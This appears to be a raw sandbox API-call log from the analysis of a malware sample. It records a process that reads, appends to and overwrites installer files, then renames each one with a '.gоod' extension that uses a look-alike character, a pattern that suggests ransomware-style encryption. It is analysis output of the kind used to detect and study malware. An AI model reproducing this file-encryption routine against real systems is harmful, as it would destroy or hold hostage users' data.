[0078.142] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x33077b8 | out: lpFileInformation=0x33077b8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2)) returned 1 [0078.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee690) returned 1 [0078.142] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\UiInfo.xml", lpFilePart=0x0) returned 0x20 [0078.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0078.142] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0078.142] GetFileType (hFile=0x768) returned 0x1 [0078.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0078.142] GetFileType (hFile=0x768) returned 0x1 [0078.142] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x1000 [0078.143] ReadFile (in: hFile=0x768, lpBuffer=0x3307b30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6f8, lpOverlapped=0x0 | out: lpBuffer=0x3307b30*, lpNumberOfBytesRead=0x1f6ee6f8*=0x1000, lpOverlapped=0x0) returned 1 [0078.144] CloseHandle (hObject=0x768) returned 1 [0078.144] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\UiInfo.xml", lpFilePart=0x0) returned 0x20 [0078.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0078.144] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0078.144] GetFileType (hFile=0x768) returned 0x1 [0078.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0078.144] GetFileType (hFile=0x768) returned 0x1 [0078.144] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x97f2 [0078.144] WriteFile (in: hFile=0x768, lpBuffer=0x3308d98*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ee618, lpOverlapped=0x0 | out: lpBuffer=0x3308d98*, lpNumberOfBytesWritten=0x1f6ee618*=0x10, lpOverlapped=0x0) returned 1 [0078.219] CloseHandle (hObject=0x768) returned 1 [0078.221] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\UiInfo.xml", lpFilePart=0x0) returned 0x20 [0078.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0078.221] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0078.221] GetFileType (hFile=0x768) returned 0x1 [0078.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0078.222] GetFileType (hFile=0x768) returned 0x1 [0078.222] ReadFile (in: hFile=0x768, lpBuffer=0x31c01b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6a8, lpOverlapped=0x0 | out: lpBuffer=0x31c01b0*, lpNumberOfBytesRead=0x1f6ee6a8*=0x1000, lpOverlapped=0x0) returned 1 [0078.251] CloseHandle (hObject=0x768) returned 1 [0078.251] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\UiInfo.xml", lpFilePart=0x0) returned 0x20 [0078.251] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0078.251] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0078.252] GetFileType (hFile=0x768) returned 0x1 [0078.252] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0078.252] GetFileType (hFile=0x768) returned 0x1 [0078.252] WriteFile (in: hFile=0x768, lpBuffer=0x31bef58*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ee758, lpOverlapped=0x0 | out: lpBuffer=0x31bef58*, lpNumberOfBytesWritten=0x1f6ee758*=0x1010, lpOverlapped=0x0) returned 1 [0078.252] CloseHandle (hObject=0x768) returned 1 [0078.253] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\UiInfo.xml", lpFilePart=0x0) returned 0x20 [0078.253] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\UiInfo.xml.gоod", lpFilePart=0x0) returned 0x25 [0078.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee690) returned 1 [0078.253] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6ee770 | out: lpFileInformation=0x1f6ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x2adb1bd0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9802)) returned 1 [0078.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee650) returned 1 [0078.254] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\UiInfo.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.gоod")) returned 1 [0078.254] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\watermark.bmp", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\watermark.bmp", lpFilePart=0x0) returned 0x23 [0078.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee6d0) returned 1 [0078.254] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), fInfoLevelId=0x0, lpFileInformation=0x323d538 | out: lpFileInformation=0x323d538*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688)) returned 1 [0078.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee690) returned 1 [0078.254] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\watermark.bmp", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\watermark.bmp", lpFilePart=0x0) returned 0x23 [0078.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0078.255] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0078.255] GetFileType (hFile=0x768) returned 0x1 [0078.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0078.255] GetFileType (hFile=0x768) returned 0x1 [0078.255] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x1000 [0078.255] ReadFile (in: hFile=0x768, lpBuffer=0x323d8c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6f8, lpOverlapped=0x0 | out: lpBuffer=0x323d8c0*, lpNumberOfBytesRead=0x1f6ee6f8*=0x1000, lpOverlapped=0x0) returned 1 [0078.366] CloseHandle (hObject=0x768) returned 1 [0078.366] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\watermark.bmp", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\watermark.bmp", lpFilePart=0x0) returned 0x23 [0078.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0078.402] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0078.402] GetFileType (hFile=0x768) returned 0x1 [0078.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0078.402] GetFileType (hFile=0x768) returned 0x1 [0078.402] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x19688 [0078.402] WriteFile (in: hFile=0x768, lpBuffer=0x336e450*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ee618, lpOverlapped=0x0 | out: lpBuffer=0x336e450*, lpNumberOfBytesWritten=0x1f6ee618*=0x10, lpOverlapped=0x0) returned 1 [0078.412] CloseHandle (hObject=0x768) returned 1 [0078.415] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\watermark.bmp", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\watermark.bmp", lpFilePart=0x0) returned 0x23 [0078.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0078.415] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0078.415] GetFileType (hFile=0x768) returned 0x1 [0078.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0078.415] GetFileType (hFile=0x768) returned 0x1 [0078.415] ReadFile (in: hFile=0x768, lpBuffer=0x33706c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6a8, lpOverlapped=0x0 | out: lpBuffer=0x33706c8*, lpNumberOfBytesRead=0x1f6ee6a8*=0x1000, lpOverlapped=0x0) returned 1 [0078.900] CloseHandle (hObject=0x768) returned 1 [0078.900] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\watermark.bmp", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\watermark.bmp", lpFilePart=0x0) returned 0x23 [0078.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0078.900] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0078.901] GetFileType (hFile=0x768) returned 0x1 [0078.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0078.901] GetFileType (hFile=0x768) returned 0x1 [0078.901] WriteFile (in: hFile=0x768, lpBuffer=0x313a638*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ee758, lpOverlapped=0x0 | out: lpBuffer=0x313a638*, lpNumberOfBytesWritten=0x1f6ee758*=0x1010, lpOverlapped=0x0) returned 1 [0078.901] CloseHandle (hObject=0x768) returned 1 [0078.903] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\watermark.bmp", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\watermark.bmp", lpFilePart=0x0) returned 0x23 [0078.903] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.gоod", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\watermark.bmp.gоod", lpFilePart=0x0) returned 0x28 [0078.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee690) returned 1 [0078.903] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1f6ee770 | out: lpFileInformation=0x1f6ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x2b3dd223, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x19698)) returned 1 [0078.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee650) returned 1 [0078.904] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), lpNewFileName="C:\\588bce7c90097ed212\\watermark.bmp.gоod" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.gоod")) returned 1 [0078.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0078.905] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1025", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1025", lpFilePart=0x0) returned 0x1a [0078.905] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0078.906] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.906] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0078.906] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0078.906] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0078.906] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0078.906] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0078.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0078.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0078.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0078.907] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1025", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1025", lpFilePart=0x0) returned 0x1a [0078.907] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0078.907] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.907] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0078.907] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0078.907] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0078.908] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0078.908] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0078.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0078.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0078.908] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1025\\eula.rtf", lpFilePart=0x0) returned 0x23 [0078.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0078.908] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x31b0c50 | out: lpFileInformation=0x31b0c50*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f)) returned 1 [0078.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0078.910] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1025\\eula.rtf", lpFilePart=0x0) returned 0x23 [0078.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0078.910] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0078.910] GetFileType (hFile=0x768) returned 0x1 [0078.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0078.910] GetFileType (hFile=0x768) returned 0x1 [0078.910] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0078.910] ReadFile (in: hFile=0x768, lpBuffer=0x31b0fc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x31b0fc8*, lpNumberOfBytesRead=0x1f6edcc8*=0xd8f, lpOverlapped=0x0) returned 1 [0078.912] CloseHandle (hObject=0x768) returned 1 [0078.912] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1025\\eula.rtf", lpFilePart=0x0) returned 0x23 [0078.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0078.912] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0078.912] GetFileType (hFile=0x768) returned 0x1 [0078.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0078.912] GetFileType (hFile=0x768) returned 0x1 [0078.912] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1d8f [0078.912] WriteFile (in: hFile=0x768, lpBuffer=0x31b22a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x31b22a8*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0078.912] CloseHandle (hObject=0x768) 